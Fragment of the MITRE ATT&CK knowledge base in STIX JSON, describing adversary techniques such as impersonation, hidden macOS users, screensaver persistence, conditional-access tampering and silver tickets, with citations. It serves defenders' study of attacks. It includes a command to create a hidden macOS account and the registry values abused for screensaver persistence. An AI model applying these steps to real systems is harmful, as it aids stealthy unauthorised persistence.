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            "description": "Adversaries may impersonate a trusted person or organization in order to persuade and trick a target into performing some action on their behalf. For example, adversaries may communicate with victims (via [Phishing for Information](https://attack.mitre.org/techniques/T1598), [Phishing](https://attack.mitre.org/techniques/T1566), or [Internal Spearphishing](https://attack.mitre.org/techniques/T1534)) while impersonating a known sender such as an executive, colleague, or third-party vendor. Established trust can then be leveraged to accomplish an adversary\u2019s ultimate goals, possibly against multiple victims.\n\nIn many cases of business email compromise or email fraud campaigns, adversaries use impersonation to defraud victims -- deceiving them into sending money or divulging information that ultimately enables [Financial Theft](https://attack.mitre.org/techniques/T1657).\n\nAdversaries will often also use social engineering techniques such as manipulative and persuasive language in email subject lines and body text such as `payment`, `request`, or `urgent` to push the victim to act quickly before malicious activity is detected. These campaigns are often specifically targeted against people who, due to job roles and/or accesses, can carry out the adversary\u2019s goal.\u202f\u202f\n\nImpersonation is typically preceded by reconnaissance techniques such as [Gather Victim Identity Information](https://attack.mitre.org/techniques/T1589) and [Gather Victim Org Information](https://attack.mitre.org/techniques/T1591) as well as acquiring infrastructure such as email domains (i.e. [Domains](https://attack.mitre.org/techniques/T1583/001)) to substantiate their false identity.(Citation: Crowdstrike BEC)\n\nThere is the potential for multiple victims in campaigns involving impersonation. For example, an adversary may Compromise Accounts targeting one organization which can then be used to support impersonation against other entities.(Citation: VEC)",
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                "Pawel Partyka, Microsoft Threat Intelligence"
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        {
            "type": "attack-pattern",
            "id": "attack-pattern--cdfc5f0a-9bb9-4352-b896-553cfa2d8fd8",
            "created": "2020-10-01T01:05:42.216Z",
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                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/techniques/T1585",
                    "external_id": "T1585"
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                {
                    "source_name": "Free Trial PurpleUrchin",
                    "description": "Gamazo, William. Quist, Nathaniel.. (2023, January 5). PurpleUrchin Bypasses CAPTCHA and Steals Cloud Platform Resources. Retrieved February 28, 2024.",
                    "url": "https://unit42.paloaltonetworks.com/purpleurchin-steals-cloud-resources/"
                },
                {
                    "source_name": "NEWSCASTER2014",
                    "description": "Lennon, M. (2014, May 29). Iranian Hackers Targeted US Officials in Elaborate Social Media Attack Operation. Retrieved March 1, 2017.",
                    "url": "https://www.securityweek.com/iranian-hackers-targeted-us-officials-elaborate-social-media-attack-operation"
                },
                {
                    "source_name": "Mandiant APT1",
                    "description": "Mandiant. (n.d.). APT1 Exposing One of China\u2019s Cyber Espionage Units. Retrieved July 18, 2016.",
                    "url": "https://www.fireeye.com/content/dam/fireeye-www/services/pdfs/mandiant-apt1-report.pdf"
                },
                {
                    "source_name": "BlackHatRobinSage",
                    "description": "Ryan, T. (2010). \u201cGetting In Bed with Robin Sage.\u201d. Retrieved March 6, 2017.",
                    "url": "http://media.blackhat.com/bh-us-10/whitepapers/Ryan/BlackHat-USA-2010-Ryan-Getting-In-Bed-With-Robin-Sage-v1.0.pdf"
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            "name": "Establish Accounts",
            "description": "Adversaries may create and cultivate accounts with services that can be used during targeting. Adversaries can create accounts that can be used to build a persona to further operations. Persona development consists of the development of public information, presence, history and appropriate affiliations. This development could be applied to social media, website, or other publicly available information that could be referenced and scrutinized for legitimacy over the course of an operation using that persona or identity.(Citation: NEWSCASTER2014)(Citation: BlackHatRobinSage)\n\nFor operations incorporating social engineering, the utilization of an online persona may be important. These personas may be fictitious or impersonate real people. The persona may exist on a single site or across multiple sites (ex: Facebook, LinkedIn, Twitter, Google, GitHub, Docker Hub, etc.). Establishing a persona may require development of additional documentation to make them seem real. This could include filling out profile information, developing social networks, or incorporating photos.(Citation: NEWSCASTER2014)(Citation: BlackHatRobinSage)\n\nEstablishing accounts can also include the creation of accounts with email providers, which may be directly leveraged for [Phishing for Information](https://attack.mitre.org/techniques/T1598) or [Phishing](https://attack.mitre.org/techniques/T1566).(Citation: Mandiant APT1) In addition, establishing accounts may allow adversaries to abuse free services, such as registering for trial periods to [Acquire Infrastructure](https://attack.mitre.org/techniques/T1583) for malicious purposes.(Citation: Free Trial PurpleUrchin)\n",
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                    "phase_name": "resource-development"
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            "id": "attack-pattern--ce0687a0-e692-4b77-964a-0784a8e54ff1",
            "created": "2020-10-01T01:56:24.776Z",
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                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/techniques/T1588",
                    "external_id": "T1588"
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                {
                    "source_name": "PegasusCitizenLab",
                    "description": "Bill Marczak and John Scott-Railton. (2016, August 24). The Million Dollar Dissident: NSO Group\u2019s iPhone Zero-Days used against a UAE Human Rights Defender. Retrieved December 12, 2016.",
                    "url": "https://citizenlab.ca/2016/08/million-dollar-dissident-iphone-zero-day-nso-group-uae/"
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                {
                    "source_name": "FireEyeSupplyChain",
                    "description": "FireEye. (2014). SUPPLY CHAIN ANALYSIS: From Quartermaster to SunshopFireEye. Retrieved March 6, 2017.",
                    "url": "https://www.mandiant.com/resources/supply-chain-analysis-from-quartermaster-to-sunshop"
                },
                {
                    "source_name": "DiginotarCompromise",
                    "description": "Fisher, D. (2012, October 31). Final Report on DigiNotar Hack Shows Total Compromise of CA Servers. Retrieved March 6, 2017.",
                    "url": "https://threatpost.com/final-report-diginotar-hack-shows-total-compromise-ca-servers-103112/77170/"
                },
                {
                    "source_name": "Recorded Future Beacon Certificates",
                    "description": "Insikt Group. (2019, June 18). A Multi-Method Approach to Identifying Rogue Cobalt Strike Servers. Retrieved September 16, 2024.",
                    "url": "https://www.recordedfuture.com/research/cobalt-strike-servers"
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                {
                    "source_name": "Splunk Kovar Certificates 2017",
                    "description": "Kovar, R. (2017, December 11). Tall Tales of Hunting with TLS/SSL Certificates. Retrieved October 16, 2020.",
                    "url": "https://www.splunk.com/en_us/blog/security/tall-tales-of-hunting-with-tls-ssl-certificates.html"
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                {
                    "source_name": "Analyzing CS Dec 2020",
                    "description": "Maynier, E. (2020, December 20). Analyzing Cobalt Strike for Fun and Profit. Retrieved October 12, 2021.",
                    "url": "https://www.randhome.io/blog/2020/12/20/analyzing-cobalt-strike-for-fun-and-profit/"
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                {
                    "source_name": "NationsBuying",
                    "description": "Nicole Perlroth and David E. Sanger. (2013, July 12). Nations Buying as Hackers Sell Flaws in Computer Code. Retrieved March 9, 2017.",
                    "url": "https://www.nytimes.com/2013/07/14/world/europe/nations-buying-as-hackers-sell-computer-flaws.html"
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            "modified": "2025-10-24T17:49:24.545Z",
            "name": "Obtain Capabilities",
            "description": "Adversaries may buy and/or steal capabilities that can be used during targeting. Rather than developing their own capabilities in-house, adversaries may purchase, freely download, or steal them. Activities may include the acquisition of malware, software (including licenses), exploits, certificates, and information relating to vulnerabilities. Adversaries may obtain capabilities to support their operations throughout numerous phases of the adversary lifecycle.\n\nIn addition to downloading free malware, software, and exploits from the internet, adversaries may purchase these capabilities from third-party entities. Third-party entities can include technology companies that specialize in malware and exploits, criminal marketplaces, or from individuals.(Citation: NationsBuying)(Citation: PegasusCitizenLab)\n\nIn addition to purchasing capabilities, adversaries may steal capabilities from third-party entities (including other adversaries). This can include stealing software licenses, malware, SSL/TLS and code-signing certificates, or raiding closed databases of vulnerabilities or exploits.(Citation: DiginotarCompromise)",
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            "x_mitre_domains": [
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            "type": "attack-pattern",
            "id": "attack-pattern--ce4b7013-640e-48a9-b501-d0025a95f4bf",
            "created": "2020-01-24T13:51:01.210Z",
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                    "url": "https://attack.mitre.org/techniques/T1546/002",
                    "external_id": "T1546.002"
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                {
                    "source_name": "ESET Gazer Aug 2017",
                    "description": "ESET. (2017, August). Gazing at Gazer: Turla\u2019s new second stage backdoor. Retrieved September 14, 2017.",
                    "url": "https://www.welivesecurity.com/wp-content/uploads/2017/08/eset-gazer.pdf"
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                {
                    "source_name": "Wikipedia Screensaver",
                    "description": "Wikipedia. (2017, November 22). Screensaver. Retrieved December 5, 2017.",
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            "name": "Screensaver",
            "description": "Adversaries may establish persistence by executing malicious content triggered by user inactivity. Screensavers are programs that execute after a configurable time of user inactivity and consist of Portable Executable (PE) files with a .scr file extension.(Citation: Wikipedia Screensaver) The Windows screensaver application scrnsave.scr is located in <code>C:\\Windows\\System32\\</code>, and <code>C:\\Windows\\sysWOW64\\</code>  on 64-bit Windows systems, along with screensavers included with base Windows installations.\n\nThe following screensaver settings are stored in the Registry (<code>HKCU\\Control Panel\\Desktop\\</code>) and could be manipulated to achieve persistence:\n\n* <code>SCRNSAVE.exe</code> - set to malicious PE path\n* <code>ScreenSaveActive</code> - set to '1' to enable the screensaver\n* <code>ScreenSaverIsSecure</code> - set to '0' to not require a password to unlock\n* <code>ScreenSaveTimeout</code> - sets user inactivity timeout before screensaver is executed\n\nAdversaries can use screensaver settings to maintain persistence by setting the screensaver to run malware after a certain timeframe of user inactivity.(Citation: ESET Gazer Aug 2017)",
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            "created": "2017-12-14T16:46:06.044Z",
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                    "url": "https://attack.mitre.org/techniques/T1147",
                    "external_id": "T1147"
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                {
                    "source_name": "Cybereason OSX Pirrit",
                    "description": "Amit Serper. (2016). Cybereason Lab Analysis OSX.Pirrit. Retrieved December 10, 2021.",
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            "name": "Hidden Users",
            "description": "Every user account in macOS has a userID associated with it. When creating a user, you can specify the userID for that account. There is a property value in <code>/Library/Preferences/com.apple.loginwindow</code> called <code>Hide500Users</code> that prevents users with userIDs 500 and lower from appearing at the login screen. By using the [Create Account](https://attack.mitre.org/techniques/T1136) technique with a userID under 500 and enabling this property (setting it to Yes), an adversary can hide their user accounts much more easily: <code>sudo dscl . -create /Users/username UniqueID 401</code> (Citation: Cybereason OSX Pirrit).",
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                    "url": "https://attack.mitre.org/techniques/T1556/009",
                    "external_id": "T1556.009"
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                {
                    "source_name": "AWS IAM Conditions",
                    "description": "AWS. (n.d.). IAM JSON policy elements: Condition. Retrieved January 2, 2024.",
                    "url": "https://docs.aws.amazon.com/IAM/latest/UserGuide/reference_policies_elements_condition.html"
                },
                {
                    "source_name": "GCP IAM Conditions",
                    "description": "Google Cloud. (n.d.). Overview of IAM Conditions. Retrieved January 2, 2024.",
                    "url": "https://cloud.google.com/iam/docs/conditions-overview"
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                {
                    "source_name": "JumpCloud Conditional Access Policies",
                    "description": "JumpCloud. (n.d.). Get Started: Conditional Access Policies. Retrieved January 2, 2024.",
                    "url": "https://jumpcloud.com/support/get-started-conditional-access-policies"
                },
                {
                    "source_name": "Microsoft Conditional Access",
                    "description": "Microsoft. (2023, November 15). What is Conditional Access?. Retrieved January 2, 2024.",
                    "url": "https://learn.microsoft.com/en-us/entra/identity/conditional-access/overview"
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                {
                    "source_name": "Okta Conditional Access Policies",
                    "description": "Okta. (2023, November 30). Conditional Access Based on Device Security Posture. Retrieved January 2, 2024.",
                    "url": "https://support.okta.com/help/s/article/Conditional-access-based-on-device-security-posture?language=en_US"
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            "name": "Conditional Access Policies",
            "description": "Adversaries may disable or modify conditional access policies to enable persistent access to compromised accounts. Conditional access policies are additional verifications used by identity providers and identity and access management systems to determine whether a user should be granted access to a resource.\n\nFor example, in Entra ID, Okta, and JumpCloud, users can be denied access to applications based on their IP address, device enrollment status, and use of multi-factor authentication.(Citation: Microsoft Conditional Access)(Citation: JumpCloud Conditional Access Policies)(Citation: Okta Conditional Access Policies) In some cases, identity providers may also support the use of risk-based metrics to deny sign-ins based on a variety of indicators. In AWS and GCP, IAM policies can contain `condition` attributes that verify arbitrary constraints such as the source IP, the date the request was made, and the nature of the resources or regions being requested.(Citation: AWS IAM Conditions)(Citation: GCP IAM Conditions) These measures help to prevent compromised credentials from resulting in unauthorized access to data or resources, as well as limit user permissions to only those required. \n\nBy modifying conditional access policies, such as adding additional trusted IP ranges, removing [Multi-Factor Authentication](https://attack.mitre.org/techniques/T1556/006) requirements, or allowing additional [Unused/Unsupported Cloud Regions](https://attack.mitre.org/techniques/T1535), adversaries may be able to ensure persistent access to accounts and circumvent defensive measures.",
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            "created": "2020-05-14T14:45:15.978Z",
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                    "external_id": "T1578.002"
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                {
                    "source_name": "Mandiant M-Trends 2020",
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            "description": "An adversary may create a new instance or virtual machine (VM) within the compute service of a cloud account to evade defenses. Creating a new instance may allow an adversary to bypass firewall rules and permissions that exist on instances currently residing within an account. An adversary may [Create Snapshot](https://attack.mitre.org/techniques/T1578/001) of one or more volumes in an account, create a new instance, mount the snapshots, and then apply a less restrictive security policy to collect [Data from Local System](https://attack.mitre.org/techniques/T1005) or for [Remote Data Staging](https://attack.mitre.org/techniques/T1074/002).(Citation: Mandiant M-Trends 2020)\n\nCreating a new instance may also allow an adversary to carry out malicious activity within an environment without affecting the execution of current running instances.",
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                    "external_id": "T1500"
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                {
                    "source_name": "ClearSky MuddyWater Nov 2018",
                    "description": "ClearSky Cyber Security. (2018, November). MuddyWater Operations in Lebanon and Oman: Using an Israeli compromised domain for a two-stage campaign. Retrieved November 29, 2018.",
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                    "source_name": "TrendMicro WindowsAppMac",
                    "description": "Trend Micro. (2019, February 11). Windows App Runs on Mac, Downloads Info Stealer and Adware. Retrieved April 25, 2019.",
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            "description": "Adversaries may attempt to make payloads difficult to discover and analyze by delivering files to victims as uncompiled code. Similar to [Obfuscated Files or Information](https://attack.mitre.org/techniques/T1027), text-based source code files may subvert analysis and scrutiny from protections targeting executables/binaries. These payloads will need to be compiled before execution; typically via native utilities such as csc.exe or GCC/MinGW.(Citation: ClearSky MuddyWater Nov 2018)\n\nSource code payloads may also be encrypted, encoded, and/or embedded within other files, such as those delivered as a [Spearphishing Attachment](https://attack.mitre.org/techniques/T1193). Payloads may also be delivered in formats unrecognizable and inherently benign to the native OS (ex: EXEs on macOS/Linux) before later being (re)compiled into a proper executable binary with a bundled compiler and execution framework.(Citation: TrendMicro WindowsAppMac)\n",
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            "created": "2023-09-25T12:41:26.501Z",
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                    "url": "https://attack.mitre.org/techniques/T1555/006",
                    "external_id": "T1555.006"
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                {
                    "source_name": "Sysdig ScarletEel 2.0 2023",
                    "description": "Alessandro Brucato. (2023, July 11). SCARLETEEL 2.0: Fargate, Kubernetes, and Crypto. Retrieved September 25, 2023.",
                    "url": "https://sysdig.com/blog/scarleteel-2-0/"
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                {
                    "source_name": "AWS Secrets Manager",
                    "description": "AWS. (n.d.). Retrieve secrets from AWS Secrets Manager. Retrieved September 25, 2023.",
                    "url": "https://docs.aws.amazon.com/secretsmanager/latest/userguide/retrieving-secrets.html"
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                {
                    "source_name": "Google Cloud Secrets",
                    "description": "Google Cloud. (n.d.). List secrets and view secret details. Retrieved September 25, 2023.",
                    "url": "https://cloud.google.com/secret-manager/docs/view-secret-details"
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                {
                    "source_name": "Permiso Scattered Spider 2023",
                    "description": "Ian Ahl. (2023, September 20). LUCR-3: SCATTERED SPIDER GETTING SAAS-Y IN THE CLOUD. Retrieved September 25, 2023.",
                    "url": "https://permiso.io/blog/lucr-3-scattered-spider-getting-saas-y-in-the-cloud"
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                    "source_name": "Microsoft Azure Key Vault",
                    "description": "Microsoft. (2023, January 13). Quickstart: Set and retrieve a secret from Azure Key Vault using Azure CLI. Retrieved September 25, 2023.",
                    "url": "https://learn.microsoft.com/en-us/azure/key-vault/secrets/quick-create-cli"
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                    "source_name": "Wired Uber Breach",
                    "description": "Andy Greenberg. (2017, January 21). Hack Brief: Uber Paid Off Hackers to Hide a 57-Million User Data Breach. Retrieved May 14, 2021.",
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                    "source_name": "Krebs Adobe",
                    "description": "Brian Krebs. (2013, October 3). Adobe To Announce Source Code, Customer Data Breach. Retrieved May 17, 2021.",
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                    "source_name": "DOJ Lazarus Sony 2018",
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                    "description": "FireEye. (2018, October 03). APT38: Un-usual Suspects. Retrieved November 17, 2024.",
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            "created": "2020-02-11T18:46:56.263Z",
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                {
                    "source_name": "Arctic Wolf",
                    "description": "Julian Tuin, Stefan Hostetler, Jon Grimm, Aaron Diaz, and Trevor Daher. (2024, November 22). Arctic Wolf Observes Threat Campaign Targeting Palo Alto Networks Firewall Devices. Retrieved January 8, 2025.",
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                    "source_name": "Linux Password and Shadow File Formats",
                    "description": "The Linux Documentation Project. (n.d.). Linux Password and Shadow File Formats. Retrieved February 19, 2020.",
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                {
                    "source_name": "nixCraft - John the Ripper",
                    "description": "Vivek Gite. (2014, September 17). Linux Password Cracking: Explain unshadow and john Commands (John the Ripper Tool). Retrieved February 19, 2020.",
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            "created": "2020-01-17T16:10:58.592Z",
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                    "source_name": "AppleDocs Launch Agent Daemons",
                    "description": "Apple. (n.d.). Creating Launch Daemons and Agents. Retrieved July 10, 2017.",
                    "url": "https://developer.apple.com/library/content/documentation/MacOSX/Conceptual/BPSystemStartup/Chapters/CreatingLaunchdJobs.html"
                },
                {
                    "source_name": "Sofacy Komplex Trojan",
                    "description": "Dani Creus, Tyler Halfpop, Robert Falcone. (2016, September 26). Sofacy's 'Komplex' OS X Trojan. Retrieved July 8, 2017.",
                    "url": "https://researchcenter.paloaltonetworks.com/2016/09/unit42-sofacys-komplex-os-x-trojan/"
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                    "source_name": "OceanLotus for OS X",
                    "description": "Eddie Lee. (2016, February 17). OceanLotus for OS X - an Application Bundle Pretending to be an Adobe Flash Update. Retrieved July 5, 2017.",
                    "url": "https://www.alienvault.com/blogs/labs-research/oceanlotus-for-os-x-an-application-bundle-pretending-to-be-an-adobe-flash-update"
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                    "source_name": "OSX Keydnap malware",
                    "description": "Marc-Etienne M.Leveille. (2016, July 6). New OSX/Keydnap malware is hungry for credentials. Retrieved July 3, 2017.",
                    "url": "https://www.welivesecurity.com/2016/07/06/new-osxkeydnap-malware-hungry-credentials/"
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                    "source_name": "Methods of Mac Malware Persistence",
                    "description": "Patrick Wardle. (2014, September). Methods of Malware Persistence on Mac OS X. Retrieved July 5, 2017.",
                    "url": "https://www.virusbulletin.com/uploads/pdf/conference/vb2014/VB2014-Wardle.pdf"
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                    "source_name": "OSX Malware Detection",
                    "description": "Patrick Wardle. (2016, February 29). Let's Play Doctor: Practical OS X Malware Detection & Analysis. Retrieved November 17, 2024.",
                    "url": "https://papers.put.as/papers/macosx/2016/RSA_OSX_Malware.pdf"
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                {
                    "source_name": "Antiquated Mac Malware",
                    "description": "Thomas Reed. (2017, January 18). New Mac backdoor using antiquated code. Retrieved July 5, 2017.",
                    "url": "https://blog.malwarebytes.com/threat-analysis/2017/01/new-mac-backdoor-using-antiquated-code/"
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                {
                    "source_name": "OSX.Dok Malware",
                    "description": "Thomas Reed. (2017, July 7). New OSX.Dok malware intercepts web traffic. Retrieved July 10, 2017.",
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            "created": "2020-03-09T14:12:31.196Z",
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                {
                    "source_name": "SSH in Windows",
                    "description": "Microsoft. (2020, May 19). Tutorial: SSH in Windows Terminal. Retrieved July 26, 2021.",
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            "name": "Windows Command Shell",
            "description": "Adversaries may abuse the Windows command shell for execution. The Windows command shell ([cmd](https://attack.mitre.org/software/S0106)) is the primary command prompt on Windows systems. The Windows command prompt can be used to control almost any aspect of a system, with various permission levels required for different subsets of commands. The command prompt can be invoked remotely via [Remote Services](https://attack.mitre.org/techniques/T1021) such as [SSH](https://attack.mitre.org/techniques/T1021/004).(Citation: SSH in Windows)\n\nBatch files (ex: .bat or .cmd) also provide the shell with a list of sequential commands to run, as well as normal scripting operations such as conditionals and loops. Common uses of batch files include long or repetitive tasks, or the need to run the same set of commands on multiple systems.\n\nAdversaries may leverage [cmd](https://attack.mitre.org/software/S0106) to execute various commands and payloads. Common uses include [cmd](https://attack.mitre.org/software/S0106) to execute a single command, or abusing [cmd](https://attack.mitre.org/software/S0106) interactively with input and output forwarded over a command and control channel.",
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                    "source_name": "DD Man",
                    "description": "Kerrisk, M. (2020, February 2). DD(1) User Commands. Retrieved February 21, 2020.",
                    "url": "http://man7.org/linux/man-pages/man1/dd.1.html"
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                {
                    "source_name": "GDS Linux Injection",
                    "description": "McNamara, R. (2017, September 5). Linux Based Inter-Process Code Injection Without Ptrace(2). Retrieved February 21, 2020.",
                    "url": "https://blog.gdssecurity.com/labs/2017/9/5/linux-based-inter-process-code-injection-without-ptrace2.html"
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                    "source_name": "Uninformed Needle",
                    "description": "skape. (2003, January 19). Linux x86 run-time process manipulation. Retrieved December 20, 2017.",
                    "url": "http://hick.org/code/skape/papers/needle.txt"
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                    "source_name": "Microsoft HTML Help May 2018",
                    "description": "Microsoft. (2018, May 30). Microsoft HTML Help 1.4. Retrieved October 3, 2018.",
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                    "source_name": "Microsoft HTML Help ActiveX",
                    "description": "Microsoft. (n.d.). HTML Help ActiveX Control Overview. Retrieved October 3, 2018.",
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                    "description": "Microsoft. (n.d.). About the HTML Help Executable Program. Retrieved October 3, 2018.",
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                    "description": "Moe, O. (2017, August 13). Bypassing Device guard UMCI using CHM \u2013 CVE-2017-8625. Retrieved October 3, 2018.",
                    "url": "https://msitpros.com/?p=3909"
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                    "source_name": "Microsoft CVE-2017-8625 Aug 2017",
                    "description": "Microsoft. (2017, August 8). CVE-2017-8625 - Internet Explorer Security Feature Bypass Vulnerability. Retrieved October 3, 2018.",
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                    "source_name": "Krebs Access Brokers Fortune 500",
                    "description": "Brian Krebs. (2012, October 22). Service Sells Access to Fortune 500 Firms. Retrieved March 10, 2023.",
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                {
                    "source_name": "CrowdStrike Access Brokers",
                    "description": "CrowdStrike Intelligence Team. (2022, February 23). Access Brokers: Who Are the Targets, and What Are They Worth?. Retrieved March 10, 2023.",
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                    "source_name": "CISA Karakurt 2022",
                    "description": "Cybersecurity Infrastructure and Defense Agency. (2022, June 2). Karakurt Data Extortion Group. Retrieved March 10, 2023.",
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                    "source_name": "Microsoft Ransomware as a Service",
                    "description": "Microsoft. (2022, May 9). Ransomware as a service: Understanding the cybercrime gig economy and how to protect yourself. Retrieved March 10, 2023.",
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            "description": "Adversaries may purchase or otherwise acquire an existing access to a target system or network. A variety of online services and initial access broker networks are available to sell access to previously compromised systems.(Citation: Microsoft Ransomware as a Service)(Citation: CrowdStrike Access Brokers)(Citation: Krebs Access Brokers Fortune 500) In some cases, adversary groups may form partnerships to share compromised systems with each other.(Citation: CISA Karakurt 2022)\n\nFootholds to compromised systems may take a variety of forms, such as access to planted backdoors (e.g., [Web Shell](https://attack.mitre.org/techniques/T1505/003)) or established access via [External Remote Services](https://attack.mitre.org/techniques/T1133). In some cases, access brokers will implant compromised systems with a \u201cload\u201d that can be used to install additional malware for paying customers.(Citation: Microsoft Ransomware as a Service)\n\nBy leveraging existing access broker networks rather than developing or obtaining their own initial access capabilities, an adversary can potentially reduce the resources required to gain a foothold on a target network and focus their efforts on later stages of compromise. Adversaries may prioritize acquiring access to systems that have been determined to lack security monitoring or that have high privileges, or systems that belong to organizations in a particular sector.(Citation: Microsoft Ransomware as a Service)(Citation: CrowdStrike Access Brokers)\n\nIn some cases, purchasing access to an organization in sectors such as IT contracting, software development, or telecommunications may allow an adversary to compromise additional victims via a [Trusted Relationship](https://attack.mitre.org/techniques/T1199), [Multi-Factor Authentication Interception](https://attack.mitre.org/techniques/T1111), or even [Supply Chain Compromise](https://attack.mitre.org/techniques/T1195).\n\n**Note:** while this technique is distinct from other behaviors such as [Purchase Technical Data](https://attack.mitre.org/techniques/T1597/002) and [Credentials](https://attack.mitre.org/techniques/T1589/001), they may often be used in conjunction (especially where the acquired foothold requires [Valid Accounts](https://attack.mitre.org/techniques/T1078)).",
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                    "source_name": "Killing IOS diversity myth",
                    "description": "Ang Cui, Jatin Kataria, Salvatore J. Stolfo. (2011, August). Killing the myth of Cisco IOS diversity: recent advances in reliable shellcode design. Retrieved October 20, 2020.",
                    "url": "https://www.usenix.org/legacy/event/woot/tech/final_files/Cui.pdf"
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                    "source_name": "Cisco IOS Forensics Developments",
                    "description": "Felix 'FX' Lindner. (2008, February). Developments in Cisco IOS Forensics. Retrieved October 21, 2020.",
                    "url": "https://www.recurity-labs.com/research/RecurityLabs_Developments_in_IOS_Forensics.pdf"
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                {
                    "source_name": "Cisco IOS Shellcode",
                    "description": "George Nosenko. (2015). CISCO IOS SHELLCODE: ALL-IN-ONE. Retrieved October 21, 2020.",
                    "url": "http://2015.zeronights.org/assets/files/05-Nosenko.pdf"
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                {
                    "source_name": "Juniper Netscreen of the Dead",
                    "description": "Graeme Neilson . (2009, August). Juniper Netscreen of the Dead. Retrieved October 20, 2020.",
                    "url": "https://www.blackhat.com/presentations/bh-usa-09/NEILSON/BHUSA09-Neilson-NetscreenDead-SLIDES.pdf"
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                {
                    "source_name": "Killing the myth of Cisco IOS rootkits",
                    "description": "Sebastian 'topo' Mu\u00f1iz. (2008, May). Killing the myth of Cisco IOS rootkits. Retrieved October 20, 2020.",
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            "name": "Patch System Image",
            "description": "Adversaries may modify the operating system of a network device to introduce new capabilities or weaken existing defenses.(Citation: Killing the myth of Cisco IOS rootkits) (Citation: Killing IOS diversity myth) (Citation: Cisco IOS Shellcode) (Citation: Cisco IOS Forensics Developments) (Citation: Juniper Netscreen of the Dead) Some network devices are built with a monolithic architecture, where the entire operating system and most of the functionality of the device is contained within a single file.  Adversaries may change this file in storage, to be loaded in a future boot, or in memory during runtime.\n\nTo change the operating system in storage, the adversary will typically use the standard procedures available to device operators. This may involve downloading a new file via typical protocols used on network devices, such as TFTP, FTP, SCP, or a console connection.  The original file may be overwritten, or a new file may be written alongside of it and the device reconfigured to boot to the compromised image.\n\nTo change the operating system in memory, the adversary typically can use one of two methods. In the first, the adversary would make use of native debug commands in the original, unaltered running operating system that allow them to directly modify the relevant memory addresses containing the running operating system.  This method typically requires administrative level access to the device.\n\nIn the second method for changing the operating system in memory, the adversary would make use of the boot loader. The boot loader is the first piece of software that loads when the device starts that, in turn, will launch the operating system.  Adversaries may use malicious code previously implanted in the boot loader, such as through the [ROMMONkit](https://attack.mitre.org/techniques/T1542/004) method, to directly manipulate running operating system code in memory.  This malicious code in the bootloader provides the capability of direct memory manipulation to the adversary, allowing them to patch the live operating system during runtime.\n\nBy modifying the instructions stored in the system image file, adversaries may either weaken existing defenses or provision new capabilities that the device did not have before. Examples of existing defenses that can be impeded include encryption, via [Weaken Encryption](https://attack.mitre.org/techniques/T1600), authentication, via [Network Device Authentication](https://attack.mitre.org/techniques/T1556/004), and perimeter defenses, via [Network Boundary Bridging](https://attack.mitre.org/techniques/T1599).  Adding new capabilities for the adversary\u2019s purpose include [Keylogging](https://attack.mitre.org/techniques/T1056/001), [Multi-hop Proxy](https://attack.mitre.org/techniques/T1090/003), and [Port Knocking](https://attack.mitre.org/techniques/T1205/001).\n\nAdversaries may also compromise existing commands in the operating system to produce false output to mislead defenders.   When this method is used in conjunction with [Downgrade System Image](https://attack.mitre.org/techniques/T1601/002), one example of a compromised system command may include changing the output of the command that shows the version of the currently running operating system.  By patching the operating system, the adversary can change this command to instead display the original, higher revision number that they replaced through the system downgrade. \n\nWhen the operating system is patched in storage, this can be achieved in either the resident storage (typically a form of flash memory, which is non-volatile) or via [TFTP Boot](https://attack.mitre.org/techniques/T1542/005). \n\nWhen the technique is performed on the running operating system in memory and not on the stored copy, this technique will not survive across reboots.  However, live memory modification of the operating system can be combined with [ROMMONkit](https://attack.mitre.org/techniques/T1542/004) to achieve persistence. ",
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                    "source_name": "ADSecurity Silver Tickets",
                    "description": "Sean Metcalf. (2015, November 17). How Attackers Use Kerberos Silver Tickets to Exploit Systems. Retrieved February 27, 2020.",
                    "url": "https://adsecurity.org/?p=2011"
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                    "source_name": "ADSecurity Detecting Forged Tickets",
                    "description": "Metcalf, S. (2015, May 03). Detecting Forged Kerberos Ticket (Golden Ticket & Silver Ticket) Use in Active Directory. Retrieved December 23, 2015.",
                    "url": "https://adsecurity.org/?p=1515"
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                    "source_name": "Medium Detecting Attempts to Steal Passwords from Memory",
                    "description": "French, D. (2018, October 2). Detecting Attempts to Steal Passwords from Memory. Retrieved October 11, 2019.",
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            "description": "Adversaries who have the password hash of a target service account (e.g. SharePoint, MSSQL) may forge Kerberos ticket granting service (TGS) tickets, also known as silver tickets. Kerberos TGS tickets are also known as service tickets.(Citation: ADSecurity Silver Tickets)\n\nSilver tickets are more limited in scope in than golden tickets in that they only enable adversaries to access a particular resource (e.g. MSSQL) and the system that hosts the resource; however, unlike golden tickets, adversaries with the ability to forge silver tickets are able to create TGS tickets without interacting with the Key Distribution Center (KDC), potentially making detection more difficult.(Citation: ADSecurity Detecting Forged Tickets)\n\nPassword hashes for target services may be obtained using [OS Credential Dumping](https://attack.mitre.org/techniques/T1003) or [Kerberoasting](https://attack.mitre.org/techniques/T1558/003).",
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                    "source_name": "Mitiga",
                    "description": "Ariel Szarf, Doron Karmi, and Lionel Saposnik. (n.d.). Oops, I Leaked It Again \u2014 How Mitiga Found PII in Exposed Amazon RDS Snapshots. Retrieved September 24, 2024.",
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                    "source_name": "Atlassian Confluence Logging",
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                    "source_name": "TrendMicro Exposed Redis 2020",
                    "description": "David Fiser and Jaromir Horejsi. (2020, April 21). Exposed Redis Instances Abused for Remote Code Execution, Cryptocurrency Mining. Retrieved September 25, 2024.",
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                    "source_name": "Microsoft SharePoint Logging",
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                    "source_name": "Sharepoint Sharing Events",
                    "description": "Microsoft. (n.d.). Sharepoint Sharing Events. Retrieved October 8, 2021.",
                    "url": "https://docs.microsoft.com/en-us/microsoft-365/compliance/use-sharing-auditing?view=o365-worldwide#sharepoint-sharing-events"
                },
                {
                    "source_name": "Cybernews Reuters Leak 2022",
                    "description": "Vilius Petkauskas . (2022, November 3). Thomson Reuters collected and leaked at least 3TB of sensitive data. Retrieved September 25, 2024.",
                    "url": "https://cybernews.com/security/thomson-reuters-leaked-terabytes-sensitive-data/"
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            "name": "Data from Information Repositories",
